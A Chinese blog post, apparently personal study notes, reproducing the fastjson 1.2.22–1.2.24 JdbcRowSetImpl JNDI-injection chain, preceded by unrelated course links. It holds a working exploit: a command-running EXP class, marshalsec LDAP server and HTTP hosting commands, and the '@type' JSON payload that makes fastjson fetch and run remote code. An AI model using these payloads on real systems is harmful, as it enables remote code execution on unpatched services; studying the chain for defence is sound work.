Python微信订餐小程序课程视频
https://blog.csdn.net/m0_56069948/article/details/122285951
Python实战量化交易理财系统
https://blog.csdn.net/m0_56069948/article/details/122285941
JdbcRowSetImpl
接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体setter调用代码可以参考上篇文章调试的部分
1、漏洞复现
1.1、组件依赖版本
fastjson:1.2.22-1.2.24
1.2、利用方式
不像TemplatesImpl链需要指定的利用方式,JdbcRowSetImpl链只需要可以控制输入就能利用。
JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);
当然对jdk的版本有需求,因为高版本jdk对jndi和rmi有限制,在rmi篇也有说明这里再次贴出,方便自己以后查看
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
图为阿里云应用
1.3、漏洞复现
准备恶意的代码
import java.io.IOException;
public class EXP {
public EXP() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
编译恶意代码
javac EXP.java
开启http服务
python3 -m http.server
用marshalsec开jndi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389
使用JdbcRowSetImpl构造poc,成功弹窗
package com.akkacloud.demo;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
}
因为fastjson会自动调用setter和getter,具体可以看
Poc调试的那部分,所以我们就可以构造处fastjson的poc
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
我们JSON.parse()试一下
poc
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class fastjonTest2 {
public static void main(String[] args) {
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parse(exp);
}
}
1.4、利用链调试
这次我们就直接跳过fastjson的利用链,因为在TemplateImpl中已经详细跟进过,我们直接进入到 jdbcRowImpl,在setDataSourceName方法打下断点,其实看调用栈也是可以看出&